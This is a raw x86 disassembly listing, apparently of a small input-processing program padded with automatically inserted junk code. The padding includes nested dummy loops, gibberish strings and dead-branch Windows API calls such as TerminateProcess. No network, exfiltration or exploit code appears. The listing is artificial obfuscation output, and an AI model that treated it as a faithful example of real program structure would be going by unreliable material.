mov eax, dword [eax]
xor eax, dword [ebp - 0x13bc]
mov dword [ebp - 0x192c], eax
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0x192c]
jle 0x4d2f36
mov eax, dword [ebp - 0x734]
mov dword [ebp - 0x14f8], eax
jmp 0x4d2f42
mov eax, dword [ebp - 0x192c]
mov dword [ebp - 0x14f8], eax
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x734], eax
lea ecx, [ebp - 0x2bd8]
call fcn.004e9dfb
mov eax, dword [eax]
cmp eax, dword [ebp - 0x13bc]
jle 0x4d2f65
jmp 0x4d2f75
lea ecx, [ebp - 0x2bd8]
call fcn.004e9e49
jmp 0x4d2eef
lea eax, [ebp - 0x13bc]
push eax
lea ecx, [ebp - 0x2bd8]
call fcn.004e9e40
jmp 0x4d2eb6
push dword [ebp - 0x734]
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
lea ecx, [ebp - 0x2bd8]
call fcn.004e9a17
cmp dword [ebp - 0x1984], 0x4752
jle 0x4d308f
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
and dword [ebp - 0x1020], 0
jmp 0x4d2fdb
mov eax, dword [ebp - 0x1020]
inc eax
mov dword [ebp - 0x1020], eax
cmp dword [ebp - 0x1020], 0x5ec6
jge 0x4d308f
and dword [ebp - 0x73c], 0
jmp 0x4d3001
mov eax, dword [ebp - 0x73c]
inc eax
mov dword [ebp - 0x73c], eax
cmp dword [ebp - 0x73c], 0x738a
jge 0x4d308a
and dword [ebp - 0xd7c], 0
jmp 0x4d3023
mov eax, dword [ebp - 0xd7c]
inc eax
mov dword [ebp - 0xd7c], eax
cmp dword [ebp - 0xd7c], 0x4d39
jge 0x4d3085
mov eax, dword [ebp - 0x1020]
cdq
idiv dword [ebp - 0x73c]
sub edx, dword [ebp - 0xd7c]
mov eax, edx
cdq
mov dword [ebp - 0x1e3c], eax
mov dword [ebp - 0x1e38], edx
push dword [ebp - 0x1e38]
push dword [ebp - 0x1e3c]
lea ecx, [ebp - 0x3378]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3378]
call fcn.00401711
jmp 0x4d3016
jmp 0x4d2ff4
jmp 0x4d2fce
cmp dword [ebp - 0x17c8], 0xed3
jle 0x4d3466
and dword [ebp - 0x754], 0
jmp 0x4d30b5
mov eax, dword [ebp - 0x754]
inc eax
mov dword [ebp - 0x754], eax
cmp dword [ebp - 0x754], 0x4516
jge 0x4d345c
mov dword [ebp - 0x1500], 0x3295
mov dword [ebp - 0x2a88], str.trueuhok_vmgkut_ilpjmv_fou_qcxoacgu_kjp_ldxwfgc_hxq_akqdffvmh_rpmbeybo_rlymto_fymdje_ceuvxcmvn
cmp dword [ebp - 0x1500], 0x340e
jle 0x4d31f1
and dword [ebp - 0xd84], 0
jmp 0x4d30ff
mov eax, dword [ebp - 0xd84]
inc eax
mov dword [ebp - 0xd84], eax
cmp dword [ebp - 0xd84], 0x7700
jge 0x4d31e7
and dword [ebp - 0x744], 0
jmp 0x4d3125
mov eax, dword [ebp - 0x744]
inc eax
mov dword [ebp - 0x744], eax
cmp dword [ebp - 0x744], 0x3f17
jge 0x4d31e2
and dword [ebp - 0x1028], 0
jmp 0x4d314b
mov eax, dword [ebp - 0x1028]
inc eax
mov dword [ebp - 0x1028], eax
cmp dword [ebp - 0x1028], 0x4ce0
jge 0x4d31dd
and dword [ebp - 0x74c], 0
jmp 0x4d3171
mov eax, dword [ebp - 0x74c]
inc eax
mov dword [ebp - 0x74c], eax
cmp dword [ebp - 0x74c], 0x170c
jge 0x4d31d8
mov ecx, dword [ebp - 0x744]
sub ecx, dword [ebp - 0x1028]
add ecx, dword [ebp - 0x74c]
mov eax, dword [ebp - 0xd84]
shl eax, cl
cdq
mov dword [ebp - 0x1e48], eax
mov dword [ebp - 0x1e44], edx
push dword [ebp - 0x1e44]
push dword [ebp - 0x1e48]
lea ecx, [ebp - 0x3ab0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3ab0]
call fcn.00401711
jmp 0x4d3164
jmp 0x4d313e
jmp 0x4d3118
jmp 0x4d30f2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
and dword [ebp - 0x1030], 0
jmp 0x4d3207
mov eax, dword [ebp - 0x1030]
inc eax
mov dword [ebp - 0x1030], eax
cmp dword [ebp - 0x1030], 0x58db
jge 0x4d331a
mov eax, dword [ebp - 0x754]
and eax, dword [ebp - 0x1030]
cdq
mov dword [ebp - 0x1e60], eax
mov dword [ebp - 0x1e5c], edx
mov dword [ebp - 0x17c0], 0x516c
mov dword [ebp - 0x2880], str.wty_sbnaodn_ocsprli_tpb_eofqp_etwtir_kiifqxlkc_msf_tcns
cmp dword [ebp - 0x17c0], 0x53d3
jle 0x4d32c7
and dword [ebp - 0x75c], 0
jmp 0x4d3266
mov eax, dword [ebp - 0x75c]
inc eax
mov dword [ebp - 0x75c], eax
cmp dword [ebp - 0x75c], 0x424f
jge 0x4d32c7
and dword [ebp - 0xd8c], 0
jmp 0x4d3288
mov eax, dword [ebp - 0xd8c]
inc eax
mov dword [ebp - 0xd8c], eax
cmp dword [ebp - 0xd8c], 0x5361
jge 0x4d32c5
mov eax, dword [ebp - 0x75c]
or eax, dword [ebp - 0xd8c]
cdq
mov dword [ebp - 0x1e54], eax
mov dword [ebp - 0x1e50], edx
push dword [ebp - 0x1e50]
push dword [ebp - 0x1e54]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d327b
jmp 0x4d3259
push dword [ebp - 0x1e5c]
push dword [ebp - 0x1e60]
lea ecx, [ebp - 0x31e0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x31e0]
call fcn.00401711
cmp dword [ebp - 0x17c0], 0x5127
jge 0x4d3315
mov edx, dword [ebp - 0x2880]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4d31fa
cmp dword [ebp - 0x1500], 0x304d
jge 0x4d3457
mov dword [ebp - 0x1c30], 0x1c2d
cmp dword [ebp - 0x1c30], 0x61f
jge 0x4d344b
mov dword [ebp - 0x11c8], 1
push 0x2a02704
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [0x2a02704]
mov dword [ebp - 0x2614], eax
mov eax, dword [0x2a02704]
dec eax
mov dword [0x2a02704], eax
cmp dword [ebp - 0x2614], 0
je 0x4d344b
push 0x2a64acc
push 0x2a6421c
push 0x2a02724
push str._d__d__d
call fcn.004f117c
add esp, 0x10
and dword [ebp - 0x764], 0
jmp 0x4d33b4
mov eax, dword [ebp - 0x764]
inc eax
mov dword [ebp - 0x764], eax
mov eax, dword [ebp - 0x764]
cmp eax, dword [0x2a02724]
jge 0x4d33de
mov eax, dword [ebp - 0x764]
lea eax, [eax*8 + 0x299db70]
push eax
push 0xac019c
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4d33a7
push 0x608
push 0xffffffffffffffff
push 0x2a64228
call fcn.004caaff
add esp, 0xc
mov eax, dword [ebp - 0x11c8]
mov dword [ebp - 0x1c3c], eax
push 0
call fcn.004cbd73
pop ecx
fstp qword [ebp - 0x2e98]
mov ecx, dword [0x2a6421c]
movsd xmm0, qword [ebp - 0x2e98]
call fcn.004cb8c5
push ecx
push ecx
movsd qword [esp], xmm0
push dword [ebp - 0x1c3c]
push str.Case__d:__.10lf_n
call fcn.004f1488
add esp, 0x10
mov eax, dword [ebp - 0x11c8]
inc eax
mov dword [ebp - 0x11c8], eax
jmp 0x4d335f
push dword [ebp - 0x2a88]
call fcn.004f1488
pop ecx
jmp 0x4d30a8
push 0
push 0
call dword [sym.imp.USER32.dll_EndPaint]
cmp dword [ebp - 0x1984], 0x40c3
jge 0x4d347e
push dword [ebp - 0x1c48]
call fcn.004f1488
pop ecx
and dword [ebp - 0x1038], 0
jmp 0x4d3494
mov eax, dword [ebp - 0x1038]
inc eax
mov dword [ebp - 0x1038], eax
cmp dword [ebp - 0x1038], 0x4923
jge 0x4d35f9
and dword [ebp - 0x76c], 0
jmp 0x4d34ba
mov eax, dword [ebp - 0x76c]
inc eax
mov dword [ebp - 0x76c], eax
cmp dword [ebp - 0x76c], 0x2739
jge 0x4d35f4
and dword [ebp - 0xd94], 0
jmp 0x4d34e0
mov eax, dword [ebp - 0xd94]
inc eax
mov dword [ebp - 0xd94], eax
cmp dword [ebp - 0xd94], 0x676a
jge 0x4d35ef
mov eax, dword [ebp - 0x1038]
imul eax, dword [ebp - 0x76c]
mov ecx, dword [ebp - 0xd94]
sar eax, cl
cdq
mov dword [ebp - 0x1e78], eax
mov dword [ebp - 0x1e74], edx
mov dword [ebp - 0x1508], 0x1da
mov dword [ebp - 0x261c], str.hgaykdyx_nkvlg_oca_etojkqeum_oypwwstw_pyxkclvqt
cmp dword [ebp - 0x1508], 0x34a
jle 0x4d35b8
and dword [ebp - 0x774], 0
jmp 0x4d354c
mov eax, dword [ebp - 0x774]
inc eax
mov dword [ebp - 0x774], eax
cmp dword [ebp - 0x774], 0x13a3
jge 0x4d35b0
and dword [ebp - 0x1040], 0
jmp 0x4d356e
mov eax, dword [ebp - 0x1040]
inc eax
mov dword [ebp - 0x1040], eax
cmp dword [ebp - 0x1040], 0x1e29
jge 0x4d35ae
mov eax, dword [ebp - 0x774]
cdq
idiv dword [ebp - 0x1040]
mov eax, edx
cdq
mov dword [ebp - 0x1e6c], eax
mov dword [ebp - 0x1e68], edx
push dword [ebp - 0x1e68]
push dword [ebp - 0x1e6c]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d3561
jmp 0x4d353f
push 0
call dword [sym.imp.USER32.dll_MessageBeep]
push dword [ebp - 0x1e74]
push dword [ebp - 0x1e78]
mov ecx, 0xac7538
call fcn.004178b5
cmp dword [ebp - 0x1508], 0xffffff46
jge 0x4d35ea
mov edx, dword [ebp - 0x261c]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4d34d3
jmp 0x4d34ad
jmp 0x4d3487
cmp dword [ebp - 0x17c8], 0xeae
jge 0x4d3611
push dword [ebp - 0x1c54]
call fcn.004f1488
pop ecx
and dword [ebp - 0x77c], 0
jmp 0x4d3627
mov eax, dword [ebp - 0x77c]
inc eax
mov dword [ebp - 0x77c], eax
cmp dword [ebp - 0x77c], 0x4f8e
jge 0x4d3aeb
mov dword [ebp - 0x2888], 0x2280
cmp dword [ebp - 0x2888], 0xf18
jge 0x4d37e5
lea eax, [ebp - 0x264]
push eax
mov ecx, 0xac75e0
call fcn.00417279
cmp dword [ebp - 0x264], 5
jg 0x4d3688
push fcn.0041c2ab
push 0xffffffffffffffff
mov ecx, 0xac7538
call fcn.00417681
mov ecx, eax
call fcn.00417675
jmp 0x4d3788
mov dword [ebp - 0x50], 1
mov dword [ebp - 0x420], 1
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x264]
jg 0x4d3788
mov eax, dword [ebp - 0x50]
inc eax
cmp eax, dword [ebp - 0x264]
jg 0x4d36e5
push fcn.0041c2ab
mov eax, dword [ebp - 0x50]
inc eax
push eax
push dword [ebp - 0x420]
mov ecx, 0xac7538
call fcn.00417681
mov dl, 0x20
mov ecx, eax
call fcn.0041c4df
mov ecx, eax
call fcn.00417681
mov ecx, eax
call fcn.00417675
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
inc eax
cmp eax, dword [ebp - 0x264]
jg 0x4d3729
push fcn.0041c2ab
mov eax, dword [ebp - 0x50]
inc eax
push eax
push dword [ebp - 0x420]
mov ecx, 0xac7538
call fcn.00417681
mov dl, 0x20
mov ecx, eax
call fcn.0041c4df
mov ecx, eax
call fcn.00417681
mov ecx, eax
call fcn.00417675
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
inc eax
cmp eax, dword [ebp - 0x264]
jg 0x4d376d
push fcn.0041c2ab
mov eax, dword [ebp - 0x50]
inc eax
push eax
push dword [ebp - 0x420]
mov ecx, 0xac7538
call fcn.00417681
mov dl, 0x20
mov ecx, eax
call fcn.0041c4df
mov ecx, eax
call fcn.00417681
mov ecx, eax
call fcn.00417675
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x420]
add eax, 3
mov dword [ebp - 0x420], eax
jmp 0x4d3699
mov dword [ebp - 0x380], 1
jmp 0x4d37a1
mov eax, dword [ebp - 0x380]
inc eax
mov dword [ebp - 0x380], eax
mov eax, dword [ebp - 0x380]
cmp eax, dword [ebp - 0x264]
jge 0x4d37e5
push fcn.0041c2ab
mov eax, dword [ebp - 0x380]
inc eax
push eax
push dword [ebp - 0x380]
mov ecx, 0xac7538
call fcn.00417681
mov dl, 0x20
mov ecx, eax
call fcn.0041c4df
mov ecx, eax
call fcn.00417681
mov ecx, eax
call fcn.00417675
jmp 0x4d3794
and dword [ebp - 0xd9c], 0
jmp 0x4d37fb
mov eax, dword [ebp - 0xd9c]
inc eax
mov dword [ebp - 0xd9c], eax
cmp dword [ebp - 0xd9c], 0x7d91
jge 0x4d3ae6
mov eax, dword [ebp - 0x77c]
imul eax, dword [ebp - 0xd9c]
cdq
mov dword [ebp - 0x1e90], eax
mov dword [ebp - 0x1e8c], edx
mov dword [ebp - 0x1510], 0x4556
mov dword [ebp - 0x2624], str.rkftip_ahexcrcd_nxuesu_cbyicnaw_ctbbex_bcbsrmpw_vpslmmr_xafn_rvjiotfu
cmp dword [ebp - 0x1510], 0x485e
jle 0x4d38bc
and dword [ebp - 0x784], 0
jmp 0x4d385b
mov eax, dword [ebp - 0x784]
inc eax
mov dword [ebp - 0x784], eax
cmp dword [ebp - 0x784], 0x4f08
jge 0x4d38bc
and dword [ebp - 0x1048], 0
jmp 0x4d387d
mov eax, dword [ebp - 0x1048]
inc eax
mov dword [ebp - 0x1048], eax
cmp dword [ebp - 0x1048], 0x554b
jge 0x4d38ba
mov eax, dword [ebp - 0x784]
and eax, dword [ebp - 0x1048]
cdq
mov dword [ebp - 0x1e84], eax
mov dword [ebp - 0x1e80], edx
push dword [ebp - 0x1e80]
push dword [ebp - 0x1e84]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d3870
jmp 0x4d384e
mov dword [ebp - 0x1c60], 0x25ff
cmp dword [ebp - 0x1c60], 0x725
jge 0x4d3a93
lea eax, [ebp - 0x1aa4]
push eax
lea eax, [ebp - 0x1ac4]
push eax
lea eax, [ebp - 0x1ab4]
push eax
lea eax, [ebp - 0x1ae4]
push eax
lea eax, [ebp - 0x1abc]
push eax
push str._lld__lld__lld__lld__lld
call fcn.004f117c
add esp, 0x18
mov eax, dword [ebp - 0x1ab8]
cmp eax, dword [ebp - 0x1ab0]
jl 0x4d393e
jg 0x4d3924
mov eax, dword [ebp - 0x1abc]
cmp eax, dword [ebp - 0x1ab4]
jbe 0x4d393e
mov eax, dword [ebp - 0x1abc]
mov dword [ebp - 0x1910], eax
mov eax, dword [ebp - 0x1ab8]
mov dword [ebp - 0x190c], eax
jmp 0x4d3956
mov eax, dword [ebp - 0x1ab4]
mov dword [ebp - 0x1910], eax
mov eax, dword [ebp - 0x1ab0]
mov dword [ebp - 0x190c], eax
mov eax, dword [ebp - 0x1910]
mov dword [ebp - 0x1928], eax
mov eax, dword [ebp - 0x190c]
mov dword [ebp - 0x1924], eax
mov eax, dword [ebp - 0x1ae0]
cmp eax, dword [ebp - 0x1ac0]
jg 0x4d39a6
jl 0x4d398c
mov eax, dword [ebp - 0x1ae4]
cmp eax, dword [ebp - 0x1ac4]
jae 0x4d39a6
mov eax, dword [ebp - 0x1ae4]
mov dword [ebp - 0x191c], eax
mov eax, dword [ebp - 0x1ae0]
mov dword [ebp - 0x1918], eax
jmp 0x4d39be
mov eax, dword [ebp - 0x1ac4]
mov dword [ebp - 0x191c], eax
mov eax, dword [ebp - 0x1ac0]
mov dword [ebp - 0x1918], eax
mov eax, dword [ebp - 0x191c]
mov dword [ebp - 0x1934], eax
mov eax, dword [ebp - 0x1918]
mov dword [ebp - 0x1930], eax
mov eax, dword [ebp - 0x1934]
sub eax, dword [ebp - 0x1928]
mov ecx, dword [ebp - 0x1930]
sbb ecx, dword [ebp - 0x1924]
add eax, 1
adc ecx, 0
mov dword [ebp - 0x4c4], eax
mov dword [ebp - 0x4c0], ecx
mov eax, dword [ebp - 0x1924]
cmp eax, dword [ebp - 0x1aa0]
jg 0x4d3a5a
jl 0x4d3a1e
mov eax, dword [ebp - 0x1928]
cmp eax, dword [ebp - 0x1aa4]
ja 0x4d3a5a
mov eax, dword [ebp - 0x1aa0]
cmp eax, dword [ebp - 0x1930]
jg 0x4d3a5a
jl 0x4d3a3c
mov eax, dword [ebp - 0x1aa4]
cmp eax, dword [ebp - 0x1934]
ja 0x4d3a5a
mov eax, dword [ebp - 0x4c4]
sub eax, 1
mov ecx, dword [ebp - 0x4c0]
sbb ecx, 0
mov dword [ebp - 0x4c4], eax
mov dword [ebp - 0x4c0], ecx
cmp dword [ebp - 0x4c0], 0
jg 0x4d3a7a
jl 0x4d3a6e
cmp dword [ebp - 0x4c4], 0
ja 0x4d3a7a
xorpd xmm0, xmm0
movlpd qword [ebp - 0x4c4], xmm0
push dword [ebp - 0x4c0]
push dword [ebp - 0x4c4]
push str._lld_n
call fcn.004f1488
add esp, 0xc
push dword [ebp - 0x1e8c]
push dword [ebp - 0x1e90]
lea ecx, [ebp - 0x38e8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x38e8]
call fcn.00401711
cmp dword [ebp - 0x1510], 0x44d9
jge 0x4d3ae1
mov edx, dword [ebp - 0x2624]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4d37ee
jmp 0x4d361a
cmp dword [ebp - 0x1938], 0x72a4
jge 0x4d3b07
mov edx, dword [ebp - 0x1c6c]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x1518], 0x471a
jge 0x4d3b1f
push dword [ebp - 0x2998]
call fcn.004f1488
pop ecx
mov byte [ebp - 0xf8], 0
mov byte [ebp - 0xf7], 0x48
mov byte [ebp - 0xf6], 2
mov byte [ebp - 0xf5], 0x52
mov byte [ebp - 0xf4], 0x77
mov byte [ebp - 0xf3], 1
mov byte [ebp - 0xf2], 0x7c
mov dword [ebp - 0x1c78], 0x142a
cmp dword [ebp - 0x1c78], 0xc81
jge 0x4d3cd9
and dword [ebp - 0x328], 0
and dword [ebp - 0x17d0], 0
lea eax, [ebp - 0x17d0]
push eax
lea eax, [ebp - 0x328]
push eax
push str._ld__ld
call fcn.004f117c
add esp, 0xc
xor ecx, ecx
mov eax, dword [ebp - 0x328]
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004ec8d1
pop ecx
mov dword [ebp - 0x262c], eax
mov eax, dword [ebp - 0x262c]
mov dword [ebp - 0x26c], eax
and dword [ebp - 0x78c], 0
jmp 0x4d3bd6
mov eax, dword [ebp - 0x78c]
inc eax
mov dword [ebp - 0x78c], eax
mov eax, dword [ebp - 0x78c]
cmp eax, dword [ebp - 0x328]
jge 0x4d3c02
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x26c]
lea eax, [ecx + eax*4]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4d3bc9
mov eax, dword [ebp - 0x328]
mov ecx, dword [ebp - 0x26c]
lea edx, [ecx + eax*4]
mov ecx, dword [ebp - 0x26c]
call fcn.0041c72d
and dword [ebp - 0x1300], 0
and dword [ebp - 0x4b0], 0
jmp 0x4d3c39
mov eax, dword [ebp - 0x4b0]
inc eax
mov dword [ebp - 0x4b0], eax
mov eax, dword [ebp - 0x4b0]
cmp eax, dword [ebp - 0x328]
jge 0x4d3cac
mov eax, dword [ebp - 0x4b0]
inc eax
mov dword [ebp - 0xda4], eax
jmp 0x4d3c63
mov eax, dword [ebp - 0xda4]
inc eax
mov dword [ebp - 0xda4], eax
mov eax, dword [ebp - 0xda4]
cmp eax, dword [ebp - 0x328]
jge 0x4d3caa
mov eax, dword [ebp - 0x4b0]
mov ecx, dword [ebp - 0x26c]
mov eax, dword [ecx + eax*4]
add eax, dword [ebp - 0x17d0]
mov ecx, dword [ebp - 0xda4]
mov edx, dword [ebp - 0x26c]
cmp dword [edx + ecx*4], eax
jg 0x4d3ca6
mov eax, dword [ebp - 0x1300]
inc eax
mov dword [ebp - 0x1300], eax
jmp 0x4d3ca8
jmp 0x4d3caa
jmp 0x4d3c56
jmp 0x4d3c2c
mov eax, dword [ebp - 0x1300]
shl eax, 1
push eax
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
mov eax, dword [ebp - 0x26c]
mov dword [ebp - 0x1c84], eax
push dword [ebp - 0x1c84]
call fcn.004f1610
pop ecx
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0xf8]
or eax, 0x67
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0xf8]
and ecx, 0x67
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0xf8]
mov word [ebp + ecx*2 - 0x112c], ax
mov dword [ebp - 0x2890], 0x26f4
cmp dword [ebp - 0x2890], 0x3ec
jge 0x4d3dfe
lea eax, [ebp - 0x11d0]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x11d0]
mov dword [ebp - 0x1c90], eax
mov eax, dword [ebp - 0x11d0]
dec eax
mov dword [ebp - 0x11d0], eax
cmp dword [ebp - 0x1c90], 0
je 0x4d3dfe
lea eax, [ebp - 0x2634]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
and dword [ebp - 0x11d8], 0
and dword [ebp - 0x13e0], 0
jmp 0x4d3d96
mov eax, dword [ebp - 0x13e0]
inc eax
mov dword [ebp - 0x13e0], eax
mov eax, dword [ebp - 0x13e0]
cmp eax, dword [ebp - 0x2634]
jge 0x4d3de7
lea eax, [ebp - 0x1c9c]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
cmp dword [ebp - 0x1c9c], 2
je 0x4d3dcc
mov dword [ebp - 0x1520], 1
jmp 0x4d3dd3
and dword [ebp - 0x1520], 0
mov eax, dword [ebp - 0x11d8]
add eax, dword [ebp - 0x1520]
mov dword [ebp - 0x11d8], eax
jmp 0x4d3d89
push dword [ebp - 0x11d8]
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4d3d40
mov dword [ebp - 0x5c], 2
and dword [ebp - 0xc14], 0
jmp 0x4d3e16
mov eax, dword [ebp - 0x5c]
inc eax
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 7
jae 0x4de20c
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xf8]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x5c], eax
jne 0x4ddda1
mov dword [ebp - 0x1944], 0x1b5a
mov dword [ebp - 0x1cb4], str.lctjptp_xatamhf_mcsriy_iwxh_issoeaa_kgwdah
cmp dword [ebp - 0x1944], 0x1d8a
jle 0x4d3f5b
and dword [ebp - 0x79c], 0
jmp 0x4d3e75
mov eax, dword [ebp - 0x79c]
inc eax
mov dword [ebp - 0x79c], eax
cmp dword [ebp - 0x79c], 0x70f3
jge 0x4d3f5b
and dword [ebp - 0x794], 0
jmp 0x4d3e9b
mov eax, dword [ebp - 0x794]
inc eax
mov dword [ebp - 0x794], eax
cmp dword [ebp - 0x794], 0x1a5
jge 0x4d3f56
and dword [ebp - 0x1050], 0
jmp 0x4d3ec1
mov eax, dword [ebp - 0x1050]
inc eax
mov dword [ebp - 0x1050], eax
cmp dword [ebp - 0x1050], 0x980
jge 0x4d3f51
and dword [ebp - 0xdac], 0
jmp 0x4d3ee7
mov eax, dword [ebp - 0xdac]
inc eax
mov dword [ebp - 0xdac], eax
cmp dword [ebp - 0xdac], 0x13cd
jge 0x4d3f4c
mov eax, dword [ebp - 0x794]
add eax, dword [ebp - 0x1050]
or eax, dword [ebp - 0x79c]
or eax, dword [ebp - 0xdac]
cdq
mov dword [ebp - 0x1e9c], eax
mov dword [ebp - 0x1e98], edx
push dword [ebp - 0x1e98]
push dword [ebp - 0x1e9c]
lea ecx, [ebp - 0x33d8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x33d8]
call fcn.00401711
jmp 0x4d3eda
jmp 0x4d3eb4
jmp 0x4d3e8e
jmp 0x4d3e68
mov dword [ebp - 0x1560], 0x78be
mov dword [ebp - 0x17e0], 0x58ef
mov dword [ebp - 0x1cc0], str.jelun_vdune_rpwsgvdl_nspkunt_upqjtcyp_gnln_dboyx_rkh_tvyjulx_xlnycxmy
cmp dword [ebp - 0x17e0], 0x5a74
jle 0x4d405b
and dword [ebp - 0x7a4], 0
jmp 0x4d3f9f
mov eax, dword [ebp - 0x7a4]
inc eax
mov dword [ebp - 0x7a4], eax
cmp dword [ebp - 0x7a4], 0x1a5c
jge 0x4d4053
and dword [ebp - 0x1058], 0
jmp 0x4d3fc5
mov eax, dword [ebp - 0x1058]
inc eax
mov dword [ebp - 0x1058], eax
cmp dword [ebp - 0x1058], 0x4341
jge 0x4d404e
and dword [ebp - 0x7ac], 0
jmp 0x4d3fe7
mov eax, dword [ebp - 0x7ac]
inc eax
mov dword [ebp - 0x7ac], eax
cmp dword [ebp - 0x7ac], 0x4153
jge 0x4d4049
mov eax, dword [ebp - 0x7a4]
cdq
idiv dword [ebp - 0x1058]
and edx, dword [ebp - 0x7ac]
mov eax, edx
cdq
mov dword [ebp - 0x1ea8], eax
mov dword [ebp - 0x1ea4], edx
push dword [ebp - 0x1ea4]
push dword [ebp - 0x1ea8]
lea ecx, [ebp - 0x3ae0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3ae0]
call fcn.00401711
jmp 0x4d3fda
jmp 0x4d3fb8
jmp 0x4d3f92
push 0
call dword [sym.imp.USER32.dll_EndDeferWindowPos]
mov dword [ebp - 0x2a68], 0x1900
cmp dword [ebp - 0x2a68], 0x135a
jge 0x4d419c
lea eax, [ebp - 0x1ca8]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
and dword [ebp - 0x7b4], 0
and dword [ebp - 0x1308], 0
jmp 0x4d40a5
mov eax, dword [ebp - 0x1308]
inc eax
mov dword [ebp - 0x1308], eax
mov eax, dword [ebp - 0x1308]
cmp eax, dword [ebp - 0x1ca8]
jge 0x4d40fc
lea eax, [ebp - 0x198c]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x7b4]
cmp eax, dword [ebp - 0x198c]
jle 0x4d40e2
mov eax, dword [ebp - 0x7b4]
mov dword [ebp - 0x1528], eax
jmp 0x4d40ee
mov eax, dword [ebp - 0x198c]
mov dword [ebp - 0x1528], eax
mov eax, dword [ebp - 0x1528]
mov dword [ebp - 0x7b4], eax
jmp 0x4d4098
lea eax, [ebp - 0x263c]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
and dword [ebp - 0xdb4], 0
and dword [ebp - 0x11e0], 0
jmp 0x4d412c
mov eax, dword [ebp - 0x11e0]
inc eax
mov dword [ebp - 0x11e0], eax
mov eax, dword [ebp - 0x11e0]
cmp eax, dword [ebp - 0x263c]
jge 0x4d4183
lea eax, [ebp - 0x17d8]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0xdb4]
cmp eax, dword [ebp - 0x17d8]
jle 0x4d4169
mov eax, dword [ebp - 0xdb4]
mov dword [ebp - 0x1530], eax
jmp 0x4d4175
mov eax, dword [ebp - 0x17d8]
mov dword [ebp - 0x1530], eax
mov eax, dword [ebp - 0x1530]
mov dword [ebp - 0xdb4], eax
jmp 0x4d411f
push dword [ebp - 0xdb4]
push dword [ebp - 0x7b4]
push str._ld__ld_n
call fcn.004f1488
add esp, 0xc
cmp dword [ebp - 0x1944], 0x1ac7
jge 0x4d42db
mov dword [ebp - 0x1538], 0x2c37
mov dword [ebp - 0x2898], str.taf_brtge_ioid_pongdw_licr_devu_aaxapixi_kifw_rbjdjowub_lsjr_suhvbrgo_huu_lryus
cmp dword [ebp - 0x1538], 0x2c96
jle 0x4d42b3
and dword [ebp - 0x1060], 0
jmp 0x4d41e6
mov eax, dword [ebp - 0x1060]
inc eax
mov dword [ebp - 0x1060], eax
cmp dword [ebp - 0x1060], 0x4945
jge 0x4d42ab
and dword [ebp - 0x7bc], 0
jmp 0x4d420c
mov eax, dword [ebp - 0x7bc]
inc eax
mov dword [ebp - 0x7bc], eax
cmp dword [ebp - 0x7bc], 0x4014
jge 0x4d42a6
and dword [ebp - 0xdbc], 0
jmp 0x4d4232
mov eax, dword [ebp - 0xdbc]
inc eax
mov dword [ebp - 0xdbc], eax
cmp dword [ebp - 0xdbc], 0x46c3
jge 0x4d42a1
and dword [ebp - 0x7c4], 0
jmp 0x4d4254
mov eax, dword [ebp - 0x7c4]
inc eax
mov dword [ebp - 0x7c4], eax
cmp dword [ebp - 0x7c4], 0x60e
jge 0x4d429f
mov eax, dword [ebp - 0x1060]
